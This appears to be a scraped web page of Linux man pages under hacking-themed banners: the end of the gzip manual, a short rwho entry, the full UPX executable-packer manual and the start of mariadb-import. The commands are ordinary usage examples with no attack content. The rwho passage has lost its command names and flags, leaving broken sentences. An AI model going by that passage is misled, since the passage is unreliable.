Test. Check the compressed file integrity then quit.

-v –verbose
Verbose. Display the name and percentage reduction for each file compressed or decompressed.

-V –version
Version. Display the version number and compilation options then quit.

-# –fast –best
Regulate the speed of compression using the specified digit #, where -1 or –fast indicates the fastest compression method (less compression) and -9 or –best indicates the slowest compression method (best compression). The default compression level is -6 (that is, biased towards high compression at expense of speed).

–rsyncable
When you synchronize a compressed file between two computers, this option allows rsync to transfer only files that were changed in the archive instead of the entire archive. Normally, after a change is made to any file in the archive, the compression algorithm can generate a new version of the archive that does not match the previous version of the archive. In this case, rsync transfers the entire new version of the archive to the remote computer. With this option, rsync can transfer only the changed files as well as a small amount of metadata that is required to update the archive structure in the area that was changed.

ADVANCED USAGE

Multiple compressed files can be concatenated. In this case, gunzip will extract all members at once. For example:

gzip -c file1 > foo.gz gzip -c file2 >> foo.gz

Then

gunzip -c foo

is equivalent to

cat file1 file2

In case of damage to one member of a .gz file, other members can still be recovered (if the damaged member is removed). However, you can get better compression by compressing all members at once:

cat file1 file2 | gzip > foo.gz

compresses better than

gzip -c file1 file2 > foo.gz

If you want to recompress concatenated files to get better compression, do:

gzip -cd old.gz | gzip > new.gz

If a compressed file consists of several members, the uncompressed size and CRC reported by the –list option applies to the last member only. If you need the uncompressed size for all members, you can use:

gzip -cd file.gz | wc -c

If you wish to create a single archive file with multiple members so that members can later be extracted independently, use an archiver such as tar or zip. GNU tar supports the -z option to invoke gzip transparently. gzip is designed as a complement to tar, not as a replacement.

ENVIRONMENT

The obsolescent environment variable GZIP can hold a set of default options for gzip. These options are interpreted first and can be overwritten by explicit command line parameters. As this can cause problems when using scripts, this feature is supported only for options that are reasonably likely to not cause too much harm, and gzip warns if it is used. This feature will be removed in a future release of gzip.

You can use an alias or script instead. For example, if gzip is in the directory /usr/bin you can prepend $HOME/bin to your PATH and create an executable script $HOME/bin/gzip containing the following:

#! /bin/sh export PATH=/usr/bin exec gzip -9 “$@”

SEE ALSO

znew(1), zcmp(1), zmore(1), zforce(1), gzexe(1), zip(1), unzip(1), compress(1)

The gzip file format is specified in P. Deutsch, GZIP file format specification version 4.3, <https://www.ietf.org/rfc/rfc1952.txt>, Internet RFC 1952 (May 1996). The zip deflation format is specified in P. Deutsch, DEFLATE Compressed Data Format Specification version 1.3, <https://www.ietf.org/rfc/rfc1951.txt>, Internet RFC 1951 (May 1996).

DIAGNOSTICS

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

Usage: gzip [-cdfhklLnNrtvV19] [-S suffix] [file …]
Invalid options were specified on the command line.

file : not in gzip format
The file specified to gunzip has not been compressed.

file : Corrupt input. Use zcat to recover some data.
The compressed file has been damaged. The data up to the point of failure can be recovered using

zcat file > recover

file : compressed with xx bits, can only handle yy bits
File was compressed (using LZW) by a program that could deal with more bits than the decompress code on this machine. Recompress the file with gzip, which compresses better and uses less memory.

file : already has .gz suffix – unchanged
The file is assumed to be already compressed. Rename the file and try again.

file already exists; do you wish to overwrite (y or n)?
Respond “y” if you want the output file to be replaced; “n” if not.

gunzip: corrupt input
A SIGSEGV violation was detected which usually means that the input file has been corrupted.

xx.x% Percentage of the input saved by compression.
(Relevant only for -v and -l.)

– not a regular file or directory: ignored
When the input file is not a regular file or directory, (e.g. a symbolic link, socket, FIFO, device file), it is left unaltered.

– has xx other links: unchanged
The input file has links; it is left unchanged. See ln(1) for more information. Use the -f flag to force compression of multiply-linked files.

CAVEATS

When writing compressed data to a tape, it is generally necessary to pad the output with zeroes up to a block boundary. When the data is read and the whole block is passed to gunzip for decompression, gunzip detects that there is extra trailing garbage after the compressed data and emits a warning by default. You can use the –quiet option to suppress the warning.

BUGS

In some rare cases, the –best option gives worse compression than the default compression level (-6). On some highly redundant files, compress compresses better than gzip.

REPORTING BUGS

Report bugs to: [email protected]
GNU gzip home page: <https://www.gnu.org/software/gzip/>
General help using GNU software: <https://www.gnu.org/gethelp/>

COPYRIGHT NOTICE

Copyright © 1998-1999, 2001-2002, 2012, 2015-2022 Free Software Foundation, Inc.
Copyright © 1992, 1993 Jean-loup Gailly

Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual).

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1091 - Linux cli command rwho

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rwho and provides detailed information about the command rwho, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rwho.

The

command produces output similar to

but for all machines on the local network. If no report has been received from a machine for 11 minutes then

assumes the machine is down, and does not report users last known to be logged into that machine.

If a users hasn’t typed to the system for a minute or more, then

reports this idle time. If a user hasn’t typed to the system for an hour or more, then the user will be omitted from the output of

unless the

flag is given.

information about other machines

The

command appeared in

This is unwieldy when the number of machines on the local net is large.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1092 - Linux cli command upx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command upx and provides detailed information about the command upx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the upx.

NAME 🖥️ upx 🖥️

compress or expand executable files

SYNOPSIS

upx [ command ] [ options ] filename

ABSTRACT

The Ultimate Packer for eXecutables Copyright (c) 1996-2024 Markus Oberhumer, Laszlo Molnar & John Reiser https://upx.github.io

UPX is a portable, extendable, high-performance executable packer for several different executable formats. It achieves an excellent compression ratio and offers *very* fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression.

DISCLAIMER

UPX comes with ABSOLUTELY NO WARRANTY; for details see the file COPYING.

Please report all problems or suggestions to the authors. Thanks.

SECURITY CONTEXT

IMPORTANT NOTE: UPX inherits the security context of any files it handles.

This means that packing, unpacking, or even testing or listing a file requires the same security considerations as actually executing the file.

Use UPX on trusted files only!

DESCRIPTION

UPX is a versatile executable packer with the following features:

- secure: as UPX is documented Open Source since many years any relevant Security/Antivirus software is able to peek inside UPX compressed apps to verify them - excellent compression ratio: typically compresses better than Zip, use UPX to decrease the size of your distribution ! - very fast decompression: more than 500 MB/sec on any reasonably modern machine - no memory overhead for your compressed executables for most of the supported formats because of in-place decompression - safe: you can list, test and unpack your executables. Also, a checksum of both the compressed and uncompressed file is maintained internally. - universal: UPX can pack a number of executable formats, including Windows programs and DLLs, macOS apps and Linux executables - portable: UPX is written in portable endian-neutral C++ - extendable: because of the class layout its very easy to support new executable formats or add new compression algorithms - free: UPX is distributed with full source code under the GNU General Public License v2+, with special exceptions granting the free usage for commercial programs

You probably understand now why we call UPX the “ultimate” executable packer.

COMMANDS

Compress

This is the default operation, eg. upx yourfile.exe will compress the file specified on the command line.

Decompress

All UPX supported file formats can be unpacked using the -d switch, eg. upx -d yourfile.exe will uncompress the file you’ve just compressed.

Test

The -t command tests the integrity of the compressed and uncompressed data, eg. upx -t yourfile.exe check whether your file can be safely decompressed. Note, that this command doesn’t check the whole file, only the part that will be uncompressed during program execution. This means that you should not use this command instead of a virus checker.

List

The -l command prints out some information about the compressed files specified on the command line as parameters, eg upx -l yourfile.exe shows the compressed / uncompressed size and the compression ratio of yourfile.exe.

OPTIONS

-q: be quiet, suppress warnings

-q -q (or -qq): be very quiet, suppress errors

-q -q -q (or -qqq): produce no output at all

–help: prints the help

–version: print the version of UPX

–exact: when compressing, require to be able to get a byte-identical file after decompression with option -d. [NOTE: this is work in progress and is not supported for all formats yet. If you do care, as a workaround you can compress and then decompress your program a first time - any further compress-decompress steps should then yield byte-identical results as compared to the first decompressed version.]

-k: keep backup files

-o file: write output to file

[ …more docs need to be written… - type `upx –help’ for now ]

COMPRESSION LEVELS & TUNING

UPX offers ten different compression levels from -1 to -9, and –best. The default compression level is -8 for files smaller than 512 KiB, and -7 otherwise.

  • Compression levels 1, 2 and 3 are pretty fast.

  • Compression levels 4, 5 and 6 achieve a good time/ratio performance.

  • Compression levels 7, 8 and 9 favor compression ratio over speed.

  • Compression level –best may take a long time.

Note that compression level –best can be somewhat slow for large files, but you definitely should use it when releasing a final version of your program.

Quick info for achieving the best compression ratio:

  • Try upx –brute –no-lzma myfile.exe or even upx –ultra-brute –no-lzma myfile.exe.

  • The option –lzma enables LZMA compression, which compresses better but is *significantly slower* at decompression. You probably do not want to use it for large files. (Note that –lzma is automatically enabled by –all-methods and –brute, use –no-lzma to override.)

  • Try if –overlay=strip works.

  • For win32/pe programs there’s –strip-relocs=0. See notes below.

OVERLAY HANDLING OPTIONS

Info: An “overlay” means auxiliary data attached after the logical end of an executable, and it often contains application specific data (this is a common practice to avoid an extra data file, though it would be better to use resource sections).

UPX handles overlays like many other executable packers do: it simply copies the overlay after the compressed image. This works with some files, but doesn’t work with others, depending on how an application actually accesses this overlaid data.

–overlay=copy Copy any extra data attached to the file. [DEFAULT] –overlay=strip Strip any overlay from the program instead of copying it. Be warned, this may make the compressed program crash or otherwise unusable. –overlay=skip Refuse to compress any program which has an overlay.

ENVIRONMENT VARIABLE

The environment variable UPX can hold a set of default options for UPX. These options are interpreted first and can be overwritten by explicit command line parameters. For example:

for DOS/Windows: set UPX=-9 –compress-icons#0 for sh/ksh/zsh: UPX="-9 –compress-icons=0"; export UPX for csh/tcsh: setenv UPX “-9 –compress-icons=0”

Under DOS/Windows you must use ‘#’ instead of ‘=’ when setting the environment variable because of a COMMAND.COM limitation.

Not all of the options are valid in the environment variable - UPX will tell you.

You can explicitly use the –no-env option to ignore the environment variable.

NOTES FOR THE SUPPORTED EXECUTABLE FORMATS

NOTES FOR ATARI/TOS

This is the executable format used by the Atari ST/TT, a Motorola 68000 based personal computer which was popular in the late ’80s. Support of this format is only because of nostalgic feelings of one of the authors and serves no practical purpose :-). See https://freemint.github.io for more info.

Packed programs will be byte-identical to the original after uncompression. All debug information will be stripped, though.

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway.

NOTES FOR BVMLINUZ/I386

Same as vmlinuz/i386.

NOTES FOR DOS/COM

Obviously UPX won’t work with executables that want to read data from themselves (like some commandline utilities that ship with Win95/98/ME).

Compressed programs only work on a 286+.

Packed programs will be byte-identical to the original after uncompression.

Maximum uncompressed size: ~65100 bytes.

Extra options available for this executable format:

–8086 Create an executable that works on any 8086 CPU. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR DOS/EXE

dos/exe stands for all “normal” 16-bit DOS executables.

Obviously UPX won’t work with executables that want to read data from themselves (like some command line utilities that ship with Win95/98/ME).

Compressed programs only work on a 286+.

Extra options available for this executable format:

–8086 Create an executable that works on any 8086 CPU. –no-reloc Use no relocation records in the exe header. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway.

NOTES FOR DOS/SYS

Compressed programs only work on a 286+.

Packed programs will be byte-identical to the original after uncompression.

Maximum uncompressed size: ~65350 bytes.

Extra options available for this executable format:

–8086 Create an executable that works on any 8086 CPU. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR DJGPP2/COFF

First of all, it is recommended to use UPX *instead* of strip. strip has the very bad habit of replacing your stub with its own (outdated) version. Additionally UPX corrects a bug/feature in strip v2.8.x: it will fix the 4 KiB alignment of the stub.

UPX includes the full functionality of stubify. This means it will automatically stubify your COFF files. Use the option –coff to disable this functionality (see below).

UPX automatically handles Allegro packfiles.

The DLM format (a rather exotic shared library extension) is not supported.

Packed programs will be byte-identical to the original after uncompression. All debug information and trailing garbage will be stripped, though.

Extra options available for this executable format:

–coff Produce COFF output instead of EXE. By default UPX keeps your current stub. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR LINUX [general]

Introduction

Linux/386 support in UPX consists of 3 different executable formats, one optimized for ELF executables (“linux/elf386”), one optimized for shell scripts (“linux/sh386”), and one generic format (“linux/386”). We will start with a general discussion first, but please also read the relevant docs for each of the individual formats. Also, there is special support for bootable kernels - see the description of the vmlinuz/386 format.

General user’s overview

Running a compressed executable program trades less space on a ``permanent storage medium (such as a hard disk, floppy disk, CD-ROM, flash memory, EPROM, etc.) for more space in one or more ``temporary storage media (such as RAM, swap space, /tmp, etc.). Running a compressed executable also requires some additional CPU cycles to generate the compressed executable in the first place, and to decompress it at each invocation. How much space is traded? It depends on the executable, but many programs save 30% to 50% of permanent disk space. How much CPU overhead is there? Again, it depends on the executable, but decompression speed generally is at least many megabytes per second, and frequently is limited by the speed of the underlying disk or network I/O. Depending on the statistics of usage and access, and the relative speeds of CPU, RAM, swap space, /tmp, and file system storage, then invoking and running a compressed executable can be faster than directly running the corresponding uncompressed program. The operating system might perform fewer expensive I/O operations to invoke the compressed program. Paging to or from swap space or /tmp might be faster than paging from the general file system. ``Medium-sized programs which access about 1/3 to 1/2 of their stored program bytes can do particularly well with compression. Small programs tend not to benefit as much because the absolute savings is less. Big programs tend not to benefit proportionally because each invocation may use only a small fraction of the program, yet UPX decompresses the entire program before invoking it. But in environments where disk or flash memory storage is limited, then compression may win anyway. Currently, executables compressed by UPX do not share RAM at runtime in the way that executables mapped from a file system do. As a result, if the same program is run simultaneously by more than one process, then using the compressed version will require more RAM and/or swap space. So, shell programs (bash, csh, etc.) and ``make might not be good candidates for compression. UPX recognizes three executable formats for Linux: Linux/elf386, Linux/sh386, and Linux/386. Linux/386 is the most generic format; it accommodates any file that can be executed. At runtime, the UPX decompression stub re-creates in /tmp a copy of the original file, and then the copy is (re-)executed with the same arguments. ELF binary executables prefer the Linux/elf386 format by default, because UPX decompresses them directly into RAM, uses only one exec, does not use space in /tmp, and does not use /proc. Shell scripts where the underlying shell accepts a ``-c argument can use the Linux/sh386 format. UPX decompresses the shell script into low memory, then maps the shell and passes the entire text of the script as an argument with a leading ``-c.

General benefits:

- UPX can compress all executables, be it AOUT, ELF, libc4, libc5, libc6, Shell/Perl/Python/… scripts, standalone Java .class binaries, or whatever… All scripts and programs will work just as before. - Compressed programs are completely self-contained. No need for any external program. - UPX keeps your original program untouched. This means that after decompression you will have a byte-identical version, and you can use UPX as a file compressor just like gzip. [ Note that UPX maintains a checksum of the file internally, so it is indeed a reliable alternative. ] - As the stub only uses syscalls and isnt linked against libc it should run under any Linux configuration that can run ELF binaries. - For the same reason compressed executables should run under FreeBSD and other systems which can run Linux binaries. [ Please send feedback on this topic ]

General drawbacks:

- It is not advisable to compress programs which usually have many instances running (like `sh or `make) because the common segments of compressed programs wont be shared any longer between different processes. - `ldd and `size wont show anything useful because all they see is the statically linked stub. Since version 0.82 the section headers are stripped from the UPX stub and `size doesnt even recognize the file format. The file patches/patch-elfcode.h has a patch to fix this bug in `size and other programs which use GNU BFD.

General notes:

- As UPX leaves your original program untouched it is advantageous to strip it before compression. - If you compress a script you will lose platform independence - this could be a problem if you are using NFS mounted disks. - Compression of suid, guid and sticky-bit programs is rejected because of possible security implications. - For the same reason there is no sense in making any compressed program suid. - Obviously UPX wont work with executables that want to read data from themselves. E.g., this might be a problem for Perl scripts which access their _ _DATA_ _ lines. - In case of internal errors the stub will abort with exitcode 127. Typical reasons for this to happen are that the program has somehow been modified after compression. Running `strace -o strace.log compressed_file will tell you more.

NOTES FOR LINUX/ELF386

Please read the general Linux description first.

The linux/elf386 format decompresses directly into RAM, uses only one exec, does not use space in /tmp, and does not use /proc.

Linux/elf386 is automatically selected for Linux ELF executables.

Packed programs will be byte-identical to the original after uncompression.

How it works:

For ELF executables, UPX decompresses directly to memory, simulating the mapping that the operating system kernel uses during exec(), including the PT_INTERP program interpreter (if any). The brk() is set by a special PT_LOAD segment in the compressed executable itself. UPX then wipes the stack clean except for arguments, environment variables, and Elf_auxv entries (this is required by bugs in the startup code of /lib/ld-linux.so as of May 2000), and transfers control to the program interpreter or the e_entry address of the original executable. The UPX stub is about 1700 bytes long, partly written in assembler and only uses kernel syscalls. It is not linked against any libc.

Specific drawbacks:

- For linux/elf386 and linux/sh386 formats, you will be relying on RAM and swap space to hold all of the decompressed program during the lifetime of the process. If you already use most of your swap space, then you may run out. A system that is “out of memory” can become fragile. Many programs do not react gracefully when malloc() returns 0. With newer Linux kernels, the kernel may decide to kill some processes to regain memory, and you may not like the kernels choice of which to kill. Running /usr/bin/top is one way to check on the usage of swap space.

Extra options available for this executable format:

(none)

NOTES FOR LINUX/SH386

Please read the general Linux description first.

Shell scripts where the underling shell accepts a ``-c’’ argument can use the Linux/sh386 format. UPX decompresses the shell script into low memory, then maps the shell and passes the entire text of the script as an argument with a leading ``-c’’. It does not use space in /tmp, and does not use /proc.

Linux/sh386 is automatically selected for shell scripts that use a known shell.

Packed programs will be byte-identical to the original after uncompression.

How it works:

For shell script executables (files beginning with “#!/” or “#! /”) where the shell is known to accept “-c <command>”, UPX decompresses the file into low memory, then maps the shell (and its PT_INTERP), and passes control to the shell with the entire decompressed file as the argument after “-c”. Known shells are sh, ash, bash, bsh, csh, ksh, tcsh, pdksh. Restriction: UPX cannot use this method for shell scripts which use the one optional string argument after the shell name in the script (example: “#! /bin/sh option3 “.) The UPX stub is about 1700 bytes long, partly written in assembler and only uses kernel syscalls. It is not linked against any libc.

Specific drawbacks:

- For linux/elf386 and linux/sh386 formats, you will be relying on RAM and swap space to hold all of the decompressed program during the lifetime of the process. If you already use most of your swap space, then you may run out. A system that is “out of memory” can become fragile. Many programs do not react gracefully when malloc() returns 0. With newer Linux kernels, the kernel may decide to kill some processes to regain memory, and you may not like the kernels choice of which to kill. Running /usr/bin/top is one way to check on the usage of swap space.

Extra options available for this executable format:

(none)

NOTES FOR LINUX/386

Please read the general Linux description first.

The generic linux/386 format decompresses to /tmp and needs /proc file system support. It starts the decompressed program via the execve() syscall.

Linux/386 is only selected if the specialized linux/elf386 and linux/sh386 won’t recognize a file.

Packed programs will be byte-identical to the original after uncompression.

How it works:

For files which are not ELF and not a script for a known “-c” shell, UPX uses kernel execve(), which first requires decompressing to a temporary file in the file system. Interestingly - because of the good memory management of the Linux kernel - this often does not introduce a noticeable delay, and in fact there will be no disk access at all if you have enough free memory as the entire process takes places within the file system buffers. A compressed executable consists of the UPX stub and an overlay which contains the original program in a compressed form. The UPX stub is a statically linked ELF executable and does the following at program startup: 1) decompress the overlay to a temporary location in /tmp 2) open the temporary file for reading 3) try to delete the temporary file and start (execve) the uncompressed program in /tmp using /proc/<pid>/fd/X as attained by step 2) 4) if that fails, fork off a subprocess to clean up and start the program in /tmp in the meantime The UPX stub is about 1700 bytes long, partly written in assembler and only uses kernel syscalls. It is not linked against any libc.

Specific drawbacks:

- You need additional free disk space for the uncompressed program in your /tmp directory. This program is deleted immediately after decompression, but you still need it for the full execution time of the program. - You must have /proc file system support as the stub wants to open /proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you cannot compress programs that are used during the boot sequence before /proc is mounted. - Utilities like `top will display numerical values in the process name field. This is because Linux computes the process name from the first argument of the last execve syscall (which is typically something like /proc/<pid>/fd/3). - Because of temporary decompression to disk the decompression speed is not as fast as with the other executable formats. Still, I can see no noticeable delay when starting programs like my ~3 MiB emacs (which is less than 1 MiB when compressed :-).

Extra options available for this executable format:

–force-execve Force the use of the generic linux/386 “execve” format, i.e. do not try the linux/elf386 and linux/sh386 formats.

NOTES FOR PS1/EXE

This is the executable format used by the Sony PlayStation (PSone), a MIPS R3000 based gaming console which is popular since the late ’90s. Support of this format is very similar to the Atari one, because of nostalgic feelings of one of the authors.

Packed programs will be byte-identical to the original after uncompression, until further notice.

Maximum uncompressed size: ~1.89 / ~7.60 MiB.

Notes:

- UPX creates as default a suitable executable for CD-Mastering and console transfer. For a CD-Master main executable you could also try the special option “–boot-only” as described below. It has been reported that upx packed executables are fully compatible with the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in Sony PlayStation (PSone) emulation mode. - Normally the packed files use the same memory areas like the uncompressed versions, so they will not override other memory areas while unpacking. If this isnt possible UPX will abort showing a packed data overlap error. With the “–force” option UPX will relocate the loading address for the packed file, but this isnt a real problem if it is a single or the main executable.

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –8-bit Uses 8 bit size compression [default: 32 bit] –8mib-ram PSone has 8 MiB ram available [default: 2 MiB] –boot-only This format is for main exes and CD-Mastering only ! It may slightly improve the compression ratio, decompression routines are faster than default ones. But it cannot be used for console transfer ! –no-align This option disables CD mode 2 data sector format alignment. May slightly improves the compression ratio, but the compressed executable will not boot from a CD. Use it for console transfer only !

NOTES FOR RTM32/PE and ARM/PE

Same as win32/pe.

NOTES FOR TMT/ADAM

This format is used by the TMT Pascal compiler - see http://www.tmt.com/ .

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR VMLINUZ/386

The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed bootable Linux kernel image (“vmlinuz”, “zImage”, “bzImage”), gzip-decompress it and re-compress it with the UPX compression method.

vmlinuz/386 is completely unrelated to the other Linux executable formats, and it does not share any of their drawbacks.

Notes:

- Be sure that “vmlinuz/386” or “bvmlinuz/386” is displayed during compression - otherwise a wrong executable format may have been used, and the kernel wont boot.

Benefits:

- Better compression (but note that the kernel was already compressed, so the improvement is not as large as with other formats). Still, the bytes saved may be essential for special needs like boot disks. For example, this is what I get for my 2.2.16 kernel: 1589708 vmlinux 641073 bzImage [original] 560755 bzImage.upx [compressed by “upx -9”] - Much faster decompression at kernel boot time (but kernel decompression speed is not really an issue these days).

Drawbacks:

(none)

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR WATCOM/LE

UPX has been successfully tested with the following extenders: DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay. The WDOS/X extender is partly supported (for details see the file bugs BUGS).

DLLs and the LX format are not supported.

Extra options available for this executable format:

–le Produce an unbound LE output instead of keeping the current stub.

NOTES FOR WIN32/PE

The PE support in UPX is quite stable now, but probably there are still some incompatibilities with some files.

Because of the way UPX (and other packers for this format) works, you can see increased memory usage of your compressed files because the whole program is loaded into memory at startup. If you start several instances of huge compressed programs you’re wasting memory because the common segments of the program won’t get shared across the instances. On the other hand if you’re compressing only smaller programs, or running only one instance of larger programs, then this penalty is smaller, but it’s still there.

If you’re running executables from network, then compressed programs will load faster, and require less bandwidth during execution.

DLLs are supported. But UPX compressed DLLs can not share common data and code when they got used by multiple applications. So compressing msvcrt.dll is a waste of memory, but compressing the dll plugins of a particular application may be a better idea.

Screensavers are supported, with the restriction that the filename must end with “.scr” (as screensavers are handled slightly different than normal exe files).

UPX compressed PE files have some minor memory overhead (usually in the 10 - 30 KiB range) which can be seen by specifying the “-i” command line switch during compression.

Extra options available for this executable format:

–compress-exports=0 Dont compress the export section. Use this if you plan to run the compressed program under Wine. –compress-exports=1 Compress the export section. [DEFAULT] Compression of the export section can improve the compression ratio quite a bit but may not work with all programs (like winword.exe). UPX never compresses the export section of a DLL regardless of this option. –compress-icons=0 Dont compress any icons. –compress-icons=1 Compress all but the first icon. –compress-icons=2 Compress all icons which are not in the first icon directory. [DEFAULT] –compress-icons=3 Compress all icons. –compress-resources=0 Dont compress any resources at all. –keep-resource=list Dont compress resources specified by the list. The members of the list are separated by commas. A list member has the following format: I<type[/name]>. I<Type> is the type of the resource. Standard types must be specified as decimal numbers, user types can be specified by decimal IDs or strings. I<Name> is the identifier of the resource. It can be a decimal number or a string. For example: –keep-resource=2/MYBITMAP,5,6/12345 UPX wont compress the named bitmap resource “MYBITMAP”, it leaves every dialog (5) resource uncompressed, and it wont touch the string table resource with identifier 12345. –force Force compression even when there is an unexpected value in a header field. Use with care. –strip-relocs=0 Dont strip relocation records. –strip-relocs=1 Strip relocation records. [DEFAULT] This option only works on executables with base address greater or equal to 0x400000. Usually the compressed files becomes smaller, but some files may become larger. Note that the resulting file will not work under Windows 3.x (Win32s). UPX never strips relocations from a DLL regardless of this option. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

DIAGNOSTICS

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

UPX’s diagnostics are intended to be self-explanatory.

BUGS

Please report all bugs immediately to the authors.

AUTHORS

Markus F.X.J. Oberhumer <[email protected]> http://www.oberhumer.com Laszlo Molnar <[email protected]> John F. Reiser <[email protected]> Jens Medoch <[email protected]>

COPYRIGHT

Copyright (C) 1996-2024 Markus Franz Xaver Johannes Oberhumer

Copyright (C) 1996-2024 Laszlo Molnar

Copyright (C) 2000-2024 John F. Reiser

Copyright (C) 2002-2024 Jens Medoch

UPX is distributed with full source code under the terms of the GNU General Public License v2+; either under the pure GPLv2+ (see the file COPYING), or (at your option) under the GPLv+2 with special exceptions and restrictions granting the free usage for all binaries including commercial programs (see the file /usr/share/doc/upx-ucl/copyright).

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

You should have received a copy of the UPX License Agreements along with this program; see the file /usr/share/doc/upx-ucl/copyright. If not, visit the UPX home page.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1093 - Linux cli command mariadb-import

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-import and provides detailed information about the command mariadb-import, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-import.

NAME 🖥️ mariadb-import 🖥️

import - a data import program (mysqlimport is now a symlink to mariadb-import)

